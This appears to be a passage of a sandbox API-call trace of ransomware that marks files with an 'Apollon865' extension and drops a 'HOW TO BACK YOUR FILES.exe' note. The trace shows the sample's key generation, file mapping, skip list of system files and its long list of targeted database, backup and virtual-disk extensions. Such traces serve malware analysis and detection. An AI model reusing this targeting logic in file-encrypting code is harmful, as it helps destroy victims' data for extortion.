	[0088.281] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I\\AG4ICw2Qf.wav.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\yxk3_kbyu\\kldrs 2\\sch6vogm3pbemdup0_i\\ag4icw2qf.wav.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.281] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=60138) returned 1
	[0088.281] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.281] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.281] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0088.282] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0088.282] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.282] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.283] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xedf0, lpName=0x0) returned 0x15c
	[0088.283] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xedf0) returned 0x100000
	[0088.285] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0088.286] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.286] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0088.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.286] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.286] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.286] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0088.286] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0088.287] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.287] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0088.287] CloseHandle (hObject=0x15c) returned 1
	[0088.287] CloseHandle (hObject=0x9c) returned 1
	[0088.288] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.289] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0088.289] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.289] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30376570, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x30376570, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0088.289] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0088.289] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d8a42f0, ftCreationTime.dwHighDateTime=0x1d4c595, ftLastAccessTime.dwLowDateTime=0x99601580, ftLastAccessTime.dwHighDateTime=0x1d4ca5c, ftLastWriteTime.dwLowDateTime=0x99601580, ftLastWriteTime.dwHighDateTime=0x1d4ca5c, nFileSizeHigh=0x0, nFileSizeLow=0x2eaa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sX9rznfL ar_NVoN6C.wav", cAlternateFileName="SX9RZN~1.WAV")) returned 1
	[0088.289] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0088.289] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2="Apollon865.txt.exe") returned 1
	[0088.289] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2=".") returned 1
	[0088.289] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2="..") returned 1
	[0088.289] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2="windows") returned -1
	[0088.289] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2="bootmgr") returned 1
	[0088.289] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2="temp") returned -1
	[0088.289] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2="pagefile.sys") returned 1
	[0088.290] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2="boot") returned 1
	[0088.290] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2="ids.txt") returned 1
	[0088.290] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2="ntuser.dat") returned 1
	[0088.290] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2="perflogs") returned 1
	[0088.290] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2="MSBuild") returned 1
	[0088.290] lstrlenW (lpString="sX9rznfL ar_NVoN6C.wav") returned 22
	[0088.290] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\yXk3_kByU\\klDrs 2\\sCh6VoGm3PBEmduP0_I\\AG4ICw2Qf.wav") returned 87
	[0088.290] lstrcpyW (in: lpString1=0x119e69c, lpString2="sX9rznfL ar_NVoN6C.wav" | out: lpString1="sX9rznfL ar_NVoN6C.wav") returned="sX9rznfL ar_NVoN6C.wav"
	[0088.290] lstrlenW (lpString="sX9rznfL ar_NVoN6C.wav") returned 22
	[0088.290] lstrlenW (lpString="Apollon865") returned 10
	[0088.290] lstrcmpiW (lpString1="NVoN6C.wav", lpString2="Apollon865") returned 1
	[0088.290] lstrlenW (lpString=".dll") returned 4
	[0088.290] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2=".dll") returned 1
	[0088.290] lstrlenW (lpString=".lnk") returned 4
	[0088.290] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2=".lnk") returned 1
	[0088.290] lstrlenW (lpString=".ini") returned 4
	[0088.290] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2=".ini") returned 1
	[0088.290] lstrlenW (lpString=".sys") returned 4
	[0088.290] lstrcmpiW (lpString1="sX9rznfL ar_NVoN6C.wav", lpString2=".sys") returned 1
	[0088.290] lstrlenW (lpString="sX9rznfL ar_NVoN6C.wav") returned 22
	[0088.290] lstrlenW (lpString="bak") returned 3
	[0088.290] lstrcmpiW (lpString1="wav", lpString2="bak") returned 1
	[0088.290] lstrlenW (lpString="ba_") returned 3
	[0088.290] lstrcmpiW (lpString1="wav", lpString2="ba_") returned 1
	[0088.290] lstrlenW (lpString="dbb") returned 3
	[0088.290] lstrcmpiW (lpString1="wav", lpString2="dbb") returned 1
	[0088.290] lstrlenW (lpString="vmdk") returned 4
	[0088.290] lstrcmpiW (lpString1=".wav", lpString2="vmdk") returned -1
	[0088.290] lstrlenW (lpString="rar") returned 3
	[0088.290] lstrcmpiW (lpString1="wav", lpString2="rar") returned 1
	[0088.290] lstrlenW (lpString="zip") returned 3
	[0088.290] lstrcmpiW (lpString1="wav", lpString2="zip") returned -1
	[0088.290] lstrlenW (lpString="tgz") returned 3
	[0088.291] lstrcmpiW (lpString1="wav", lpString2="tgz") returned 1
	[0088.291] lstrlenW (lpString="vbox") returned 4
	[0088.291] lstrcmpiW (lpString1=".wav", lpString2="vbox") returned -1
	[0088.291] lstrlenW (lpString="vdi") returned 3
	[0088.291] lstrcmpiW (lpString1="wav", lpString2="vdi") returned 1
	[0088.291] lstrlenW (lpString="vhd") returned 3
	[0088.291] lstrcmpiW (lpString1="wav", lpString2="vhd") returned 1
	[0088.291] lstrlenW (lpString="vhdx") returned 4
	[0088.291] lstrcmpiW (lpString1=".wav", lpString2="vhdx") returned -1
	[0088.291] lstrlenW (lpString="avhd") returned 4
	[0088.291] lstrcmpiW (lpString1=".wav", lpString2="avhd") returned -1
	[0088.291] lstrlenW (lpString="db") returned 2
	[0088.291] lstrcmpiW (lpString1="av", lpString2="db") returned -1
	[0088.291] lstrlenW (lpString="db2") returned 3
	[0088.291] lstrcmpiW (lpString1="wav", lpString2="db2") returned 1
	[0088.291] lstrlenW (lpString="db3") returned 3
	[0088.291] lstrcmpiW (lpString1="wav", lpString2="db3") returned 1
	[0088.291] lstrlenW (lpString="dbf") returned 3
	[0088.291] lstrcmpiW (lpString1="wav", lpString2="dbf") returned 1
	[0088.291] lstrlenW (lpString="mdf") returned 3
	[0088.291] lstrcmpiW (lpString1="wav", lpString2="mdf") returned 1
	[0088.291] lstrlenW (lpString="mdb") returned 3
	[0088.291] lstrcmpiW (lpString1="wav", lpString2="mdb") returned 1
	[0088.291] lstrlenW (lpString="sql") returned 3
	[0088.291] lstrcmpiW (lpString1="wav", lpString2="sql") returned 1
	[0088.291] lstrlenW (lpString="sqlite") returned 6
	[0088.291] lstrcmpiW (lpString1="6C.wav", lpString2="sqlite") returned -1
	[0088.291] lstrlenW (lpString="sqlite3") returned 7
	[0088.291] lstrcmpiW (lpString1="N6C.wav", lpString2="sqlite3") returned -1
	[0088.291] lstrlenW (lpString="sqlitedb") returned 8
	[0088.291] lstrcmpiW (lpString1="oN6C.wav", lpString2="sqlitedb") returned -1
	[0088.291] lstrlenW (lpString="xml") returned 3
	[0088.291] lstrcmpiW (lpString1="wav", lpString2="xml") returned -1
	[0088.291] lstrlenW (lpString="$er") returned 3
	[0088.292] lstrcmpiW (lpString1="wav", lpString2="$er") returned 1
	[0088.292] lstrlenW (lpString="4dd") returned 3
	[0088.292] lstrcmpiW (lpString1="wav", lpString2="4dd") returned 1
	[0088.292] lstrlenW (lpString="4dl") returned 3
	[0088.292] lstrcmpiW (lpString1="wav", lpString2="4dl") returned 1
	[0088.292] lstrlenW (lpString="^^^") returned 3
	[0088.292] lstrcmpiW (lpString1="wav", lpString2="^^^") returned 1
	[0088.292] lstrlenW (lpString="abs") returned 3
	[0088.292] lstrcmpiW (lpString1="wav", lpString2="abs") returned 1
	[0088.292] lstrlenW (lpString="abx") returned 3
	[0088.292] lstrcmpiW (lpString1="wav", lpString2="abx") returned 1
	[0088.292] lstrlenW (lpString="accdb") returned 5
	[0088.292] lstrcmpiW (lpString1="C.wav", lpString2="accdb") returned 1
	[0088.292] lstrlenW (lpString="accdc") returned 5
	[0088.292] lstrcmpiW (lpString1="C.wav", lpString2="accdc") returned 1
	[0088.292] lstrlenW (lpString="accde") returned 5
	[0088.292] lstrcmpiW (lpString1="C.wav", lpString2="accde") returned 1
	[0088.292] lstrlenW (lpString="accdr") returned 5
	[0088.292] lstrcmpiW (lpString1="C.wav", lpString2="accdr") returned 1
	[0088.292] lstrlenW (lpString="accdt") returned 5
	[0088.292] lstrcmpiW (lpString1="C.wav", lpString2="accdt") returned 1
	[0088.292] lstrlenW (lpString="accdw") returned 5
	[0088.292] lstrcmpiW (lpString1="C.wav", lpString2="accdw") returned 1
	[0088.292] lstrlenW (lpString="accft") returned 5
	[0088.292] lstrcmpiW (lpString1="C.wav", lpString2="accft") returned 1
	[0088.292] lstrlenW (lpString="adb") returned 3
	[0088.292] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.292] lstrlenW (lpString="adb") returned 3
	[0088.292] lstrcmpiW (lpString1="wav", lpString2="adb") returned 1
	[0088.292] lstrlenW (lpString="ade") returned 3
	[0088.292] lstrcmpiW (lpString1="wav", lpString2="ade") returned 1
	[0088.292] lstrlenW (lpString="adf") returned 3
	[0088.292] lstrcmpiW (lpString1="wav", lpString2="adf") returned 1
	[0088.292] lstrlenW (lpString="adn") returned 3
	[0088.293] lstrcmpiW (lpString1="wav", lpString2="adn") returned 1
	[0088.293] lstrlenW (lpString="adp") returned 3
	[0088.293] lstrcmpiW (lpString1="wav", lpString2="adp") returned 1
	[0088.293] lstrlenW (lpString="alf") returned 3
	[0088.293] lstrcmpiW (lpString1="wav", lpString2="alf") returned 1
	[0088.293] lstrlenW (lpString="ask") returned 3
	[0088.293] lstrcmpiW (lpString1="wav", lpString2="ask") returned 1
	[0088.293] lstrlenW (lpString="btr") returned 3
	[0088.293] lstrcmpiW (lpString1="wav", lpString2="btr") returned 1
	[0088.293] lstrlenW (lpString="cat") returned 3
	[0088.293] lstrcmpiW (lpString1="wav", lpString2="cat") returned 1
	[0088.293] lstrlenW (lpString="cdb") returned 3
	[0088.293] lstrcmpiW (lpString1="wav", lpString2="cdb") returned 1
	[0088.293] lstrlenW (lpString="ckp") returned 3
	[0088.293] lstrcmpiW (lpString1="wav", lpString2="ckp") returned 1
	[0088.293] lstrlenW (lpString="cma") returned 3
	[0088.293] lstrcmpiW (lpString1="wav", lpString2="cma") returned 1
	[0088.293] lstrlenW (lpString="cpd") returned 3
	[0088.293] lstrcmpiW (lpString1="wav", lpString2="cpd") returned 1
	[0088.293] lstrlenW (lpString="dacpac") returned 6
	[0088.293] lstrcmpiW (lpString1="6C.wav", lpString2="dacpac") returned -1
	[0088.293] lstrlenW (lpString="dad") returned 3
	[0088.293] lstrcmpiW (lpString1="wav", lpString2="dad") returned 1
	[0088.293] lstrlenW (lpString="dadiagrams") returned 10
	[0088.293] lstrcmpiW (lpString1="NVoN6C.wav", lpString2="dadiagrams") returned 1
	[0088.293] lstrlenW (lpString="daschema") returned 8
	[0088.293] lstrcmpiW (lpString1="oN6C.wav", lpString2="daschema") returned 1
	[0088.293] lstrlenW (lpString="db-journal") returned 10
	[0088.293] lstrcmpiW (lpString1="NVoN6C.wav", lpString2="db-journal") returned 1
	[0088.293] lstrlenW (lpString="db-shm") returned 6
	[0088.293] lstrcmpiW (lpString1="6C.wav", lpString2="db-shm") returned -1
	[0088.293] lstrlenW (lpString="db-wal") returned 6
	[0088.293] lstrcmpiW (lpString1="6C.wav", lpString2="db-wal") returned -1
	[0088.293] lstrlenW (lpString="dbc") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="dbc") returned 1
	[0088.294] lstrlenW (lpString="dbs") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="dbs") returned 1
	[0088.294] lstrlenW (lpString="dbt") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="dbt") returned 1
	[0088.294] lstrlenW (lpString="dbv") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="dbv") returned 1
	[0088.294] lstrlenW (lpString="dbx") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="dbx") returned 1
	[0088.294] lstrlenW (lpString="dcb") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="dcb") returned 1
	[0088.294] lstrlenW (lpString="dct") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="dct") returned 1
	[0088.294] lstrlenW (lpString="dcx") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="dcx") returned 1
	[0088.294] lstrlenW (lpString="ddl") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="ddl") returned 1
	[0088.294] lstrlenW (lpString="dlis") returned 4
	[0088.294] lstrcmpiW (lpString1=".wav", lpString2="dlis") returned -1
	[0088.294] lstrlenW (lpString="dp1") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="dp1") returned 1
	[0088.294] lstrlenW (lpString="dqy") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="dqy") returned 1
	[0088.294] lstrlenW (lpString="dsk") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="dsk") returned 1
	[0088.294] lstrlenW (lpString="dsn") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="dsn") returned 1
	[0088.294] lstrlenW (lpString="dtsx") returned 4
	[0088.294] lstrcmpiW (lpString1=".wav", lpString2="dtsx") returned -1
	[0088.294] lstrlenW (lpString="dxl") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="dxl") returned 1
	[0088.294] lstrlenW (lpString="eco") returned 3
	[0088.294] lstrcmpiW (lpString1="wav", lpString2="eco") returned 1
	[0088.295] lstrlenW (lpString="ecx") returned 3
	[0088.295] lstrcmpiW (lpString1="wav", lpString2="ecx") returned 1
	[0088.295] lstrlenW (lpString="edb") returned 3
	[0088.295] lstrcmpiW (lpString1="wav", lpString2="edb") returned 1
	[0088.295] lstrlenW (lpString="epim") returned 4
	[0088.295] lstrcmpiW (lpString1=".wav", lpString2="epim") returned -1
	[0088.295] lstrlenW (lpString="fcd") returned 3
	[0088.295] lstrcmpiW (lpString1="wav", lpString2="fcd") returned 1
	[0088.295] lstrlenW (lpString="fdb") returned 3
	[0088.295] lstrcmpiW (lpString1="wav", lpString2="fdb") returned 1
	[0088.295] lstrlenW (lpString="fic") returned 3
	[0088.295] lstrcmpiW (lpString1="wav", lpString2="fic") returned 1
	[0088.295] lstrlenW (lpString="flexolibrary") returned 12
	[0088.295] lstrcmpiW (lpString1="r_NVoN6C.wav", lpString2="flexolibrary") returned 1
	[0088.295] lstrlenW (lpString="fm5") returned 3
	[0088.295] lstrcmpiW (lpString1="wav", lpString2="fm5") returned 1
	[0088.295] lstrlenW (lpString="fmp") returned 3
	[0088.295] lstrcmpiW (lpString1="wav", lpString2="fmp") returned 1
	[0088.295] lstrlenW (lpString="fmp12") returned 5
	[0088.295] lstrcmpiW (lpString1="C.wav", lpString2="fmp12") returned -1
	[0088.295] lstrlenW (lpString="fmpsl") returned 5
	[0088.295] lstrcmpiW (lpString1="C.wav", lpString2="fmpsl") returned -1
	[0088.295] lstrlenW (lpString="fol") returned 3
	[0088.295] lstrcmpiW (lpString1="wav", lpString2="fol") returned 1
	[0088.295] lstrlenW (lpString="fp3") returned 3
	[0088.295] lstrcmpiW (lpString1="wav", lpString2="fp3") returned 1
	[0088.295] lstrlenW (lpString="fp4") returned 3
	[0088.295] lstrcmpiW (lpString1="wav", lpString2="fp4") returned 1
	[0088.295] lstrlenW (lpString="fp5") returned 3
	[0088.295] lstrcmpiW (lpString1="wav", lpString2="fp5") returned 1
	[0088.295] lstrlenW (lpString="fp7") returned 3
	[0088.295] lstrcmpiW (lpString1="wav", lpString2="fp7") returned 1
	[0088.295] lstrlenW (lpString="fpt") returned 3
	[0088.295] lstrcmpiW (lpString1="wav", lpString2="fpt") returned 1
	[0088.296] lstrlenW (lpString="frm") returned 3
	[0088.296] lstrcmpiW (lpString1="wav", lpString2="frm") returned 1
	[0088.296] lstrlenW (lpString="gdb") returned 3
	[0088.296] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.296] lstrlenW (lpString="gdb") returned 3
	[0088.296] lstrcmpiW (lpString1="wav", lpString2="gdb") returned 1
	[0088.296] lstrlenW (lpString="grdb") returned 4
	[0088.296] lstrcmpiW (lpString1=".wav", lpString2="grdb") returned -1
	[0088.296] lstrlenW (lpString="gwi") returned 3
	[0088.296] lstrcmpiW (lpString1="wav", lpString2="gwi") returned 1
	[0088.296] lstrlenW (lpString="hdb") returned 3
	[0088.296] lstrcmpiW (lpString1="wav", lpString2="hdb") returned 1
	[0088.296] lstrlenW (lpString="his") returned 3
	[0088.296] lstrcmpiW (lpString1="wav", lpString2="his") returned 1
	[0088.296] lstrlenW (lpString="ib") returned 2
	[0088.296] lstrcmpiW (lpString1="av", lpString2="ib") returned -1
	[0088.296] lstrlenW (lpString="idb") returned 3
	[0088.296] lstrcmpiW (lpString1="wav", lpString2="idb") returned 1
	[0088.296] lstrlenW (lpString="ihx") returned 3
	[0088.296] lstrcmpiW (lpString1="wav", lpString2="ihx") returned 1
	[0088.296] lstrlenW (lpString="itdb") returned 4
	[0088.296] lstrcmpiW (lpString1=".wav", lpString2="itdb") returned -1
	[0088.296] lstrlenW (lpString="itw") returned 3
	[0088.296] lstrcmpiW (lpString1="wav", lpString2="itw") returned 1
	[0088.296] lstrlenW (lpString="jet") returned 3
	[0088.296] lstrcmpiW (lpString1="wav", lpString2="jet") returned 1
	[0088.296] lstrlenW (lpString="jtx") returned 3
	[0088.296] lstrcmpiW (lpString1="wav", lpString2="jtx") returned 1
	[0088.296] lstrlenW (lpString="kdb") returned 3
	[0088.296] lstrcmpiW (lpString1="wav", lpString2="kdb") returned 1
	[0088.296] lstrlenW (lpString="kexi") returned 4
	[0088.297] lstrcmpiW (lpString1=".wav", lpString2="kexi") returned -1
	[0088.297] lstrlenW (lpString="kexic") returned 5
	[0088.297] lstrcmpiW (lpString1="C.wav", lpString2="kexic") returned -1
	[0088.297] lstrlenW (lpString="kexis") returned 5
	[0088.297] lstrcmpiW (lpString1="C.wav", lpString2="kexis") returned -1
	[0088.297] lstrlenW (lpString="lgc") returned 3
	[0088.297] lstrcmpiW (lpString1="wav", lpString2="lgc") returned 1
	[0088.297] lstrlenW (lpString="lwx") returned 3
	[0088.297] lstrcmpiW (lpString1="wav", lpString2="lwx") returned 1
	[0088.297] lstrlenW (lpString="maf") returned 3
	[0088.297] lstrcmpiW (lpString1="wav", lpString2="maf") returned 1
	[0088.297] lstrlenW (lpString="maq") returned 3
	[0088.297] lstrcmpiW (lpString1="wav", lpString2="maq") returned 1
	[0088.297] lstrlenW (lpString="mar") returned 3
	[0088.297] lstrcmpiW (lpString1="wav", lpString2="mar") returned 1
	[0088.297] lstrlenW (lpString="marshal") returned 7
	[0088.297] lstrcmpiW (lpString1="N6C.wav", lpString2="marshal") returned 1
	[0088.297] lstrlenW (lpString="mas") returned 3
	[0088.297] lstrcmpiW (lpString1="wav", lpString2="mas") returned 1
	[0088.297] lstrlenW (lpString="mav") returned 3
	[0088.297] lstrcmpiW (lpString1="wav", lpString2="mav") returned 1
	[0088.297] lstrlenW (lpString="maw") returned 3
	[0088.297] lstrcmpiW (lpString1="wav", lpString2="maw") returned 1
	[0088.297] lstrlenW (lpString="mdbhtml") returned 7
	[0088.297] lstrcmpiW (lpString1="N6C.wav", lpString2="mdbhtml") returned 1
	[0088.297] lstrlenW (lpString="mdn") returned 3
	[0088.297] lstrcmpiW (lpString1="wav", lpString2="mdn") returned 1
	[0088.297] lstrlenW (lpString="mdt") returned 3
	[0088.297] lstrcmpiW (lpString1="wav", lpString2="mdt") returned 1
	[0088.297] lstrlenW (lpString="mfd") returned 3
	[0088.298] lstrcmpiW (lpString1="wav", lpString2="mfd") returned 1
	[0088.298] lstrlenW (lpString="mpd") returned 3
	[0088.298] lstrcmpiW (lpString1="wav", lpString2="mpd") returned 1
	[0088.298] lstrlenW (lpString="mrg") returned 3
	[0088.298] lstrcmpiW (lpString1="wav", lpString2="mrg") returned 1
	[0088.298] lstrlenW (lpString="mud") returned 3
	[0088.298] lstrcmpiW (lpString1="wav", lpString2="mud") returned 1
	[0088.298] lstrlenW (lpString="mwb") returned 3
	[0088.298] lstrcmpiW (lpString1="wav", lpString2="mwb") returned 1
	[0088.298] lstrlenW (lpString="myd") returned 3
	[0088.298] lstrcmpiW (lpString1="wav", lpString2="myd") returned 1
	[0088.298] lstrlenW (lpString="ndf") returned 3
	[0088.298] lstrcmpiW (lpString1="wav", lpString2="ndf") returned 1
	[0088.298] lstrlenW (lpString="nnt") returned 3
	[0088.298] lstrcmpiW (lpString1="wav", lpString2="nnt") returned 1
	[0088.298] lstrlenW (lpString="nrmlib") returned 6
	[0088.298] lstrcmpiW (lpString1="6C.wav", lpString2="nrmlib") returned -1
	[0088.298] lstrlenW (lpString="ns2") returned 3
	[0088.298] lstrcmpiW (lpString1="wav", lpString2="ns2") returned 1
	[0088.298] lstrlenW (lpString="ns3") returned 3
	[0088.298] lstrcmpiW (lpString1="wav", lpString2="ns3") returned 1
	[0088.298] lstrlenW (lpString="ns4") returned 3
	[0088.298] lstrcmpiW (lpString1="wav", lpString2="ns4") returned 1
	[0088.298] lstrlenW (lpString="nsf") returned 3
	[0088.298] lstrcmpiW (lpString1="wav", lpString2="nsf") returned 1
	[0088.298] lstrlenW (lpString="nv") returned 2
	[0088.298] lstrcmpiW (lpString1="av", lpString2="nv") returned -1
	[0088.298] lstrlenW (lpString="nv2") returned 3
	[0088.298] lstrcmpiW (lpString1="wav", lpString2="nv2") returned 1
	[0088.298] lstrlenW (lpString="nwdb") returned 4
	[0088.298] lstrcmpiW (lpString1=".wav", lpString2="nwdb") returned -1
	[0088.298] lstrlenW (lpString="nyf") returned 3
	[0088.298] lstrcmpiW (lpString1="wav", lpString2="nyf") returned 1
	[0088.298] lstrlenW (lpString="odb") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.299] lstrlenW (lpString="odb") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="odb") returned 1
	[0088.299] lstrlenW (lpString="oqy") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="oqy") returned 1
	[0088.299] lstrlenW (lpString="ora") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="ora") returned 1
	[0088.299] lstrlenW (lpString="orx") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="orx") returned 1
	[0088.299] lstrlenW (lpString="owc") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="owc") returned 1
	[0088.299] lstrlenW (lpString="p96") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="p96") returned 1
	[0088.299] lstrlenW (lpString="p97") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="p97") returned 1
	[0088.299] lstrlenW (lpString="pan") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="pan") returned 1
	[0088.299] lstrlenW (lpString="pdb") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="pdb") returned 1
	[0088.299] lstrlenW (lpString="pdm") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="pdm") returned 1
	[0088.299] lstrlenW (lpString="pnz") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="pnz") returned 1
	[0088.299] lstrlenW (lpString="qry") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="qry") returned 1
	[0088.299] lstrlenW (lpString="qvd") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="qvd") returned 1
	[0088.299] lstrlenW (lpString="rbf") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="rbf") returned 1
	[0088.299] lstrlenW (lpString="rctd") returned 4
	[0088.299] lstrcmpiW (lpString1=".wav", lpString2="rctd") returned -1
	[0088.299] lstrlenW (lpString="rod") returned 3
	[0088.299] lstrcmpiW (lpString1="wav", lpString2="rod") returned 1
	[0088.299] lstrlenW (lpString="rodx") returned 4
	[0088.300] lstrcmpiW (lpString1=".wav", lpString2="rodx") returned -1
	[0088.300] lstrlenW (lpString="rpd") returned 3
	[0088.300] lstrcmpiW (lpString1="wav", lpString2="rpd") returned 1
	[0088.300] lstrlenW (lpString="rsd") returned 3
	[0088.300] lstrcmpiW (lpString1="wav", lpString2="rsd") returned 1
	[0088.300] lstrlenW (lpString="sas7bdat") returned 8
	[0088.300] lstrcmpiW (lpString1="oN6C.wav", lpString2="sas7bdat") returned -1
	[0088.300] lstrlenW (lpString="sbf") returned 3
	[0088.300] lstrcmpiW (lpString1="wav", lpString2="sbf") returned 1
	[0088.300] lstrlenW (lpString="scx") returned 3
	[0088.300] lstrcmpiW (lpString1="wav", lpString2="scx") returned 1
	[0088.300] lstrlenW (lpString="sdb") returned 3
	[0088.300] lstrcmpiW (lpString1="wav", lpString2="sdb") returned 1
	[0088.300] lstrlenW (lpString="sdc") returned 3
	[0088.300] lstrcmpiW (lpString1="wav", lpString2="sdc") returned 1
	[0088.300] lstrlenW (lpString="sdf") returned 3
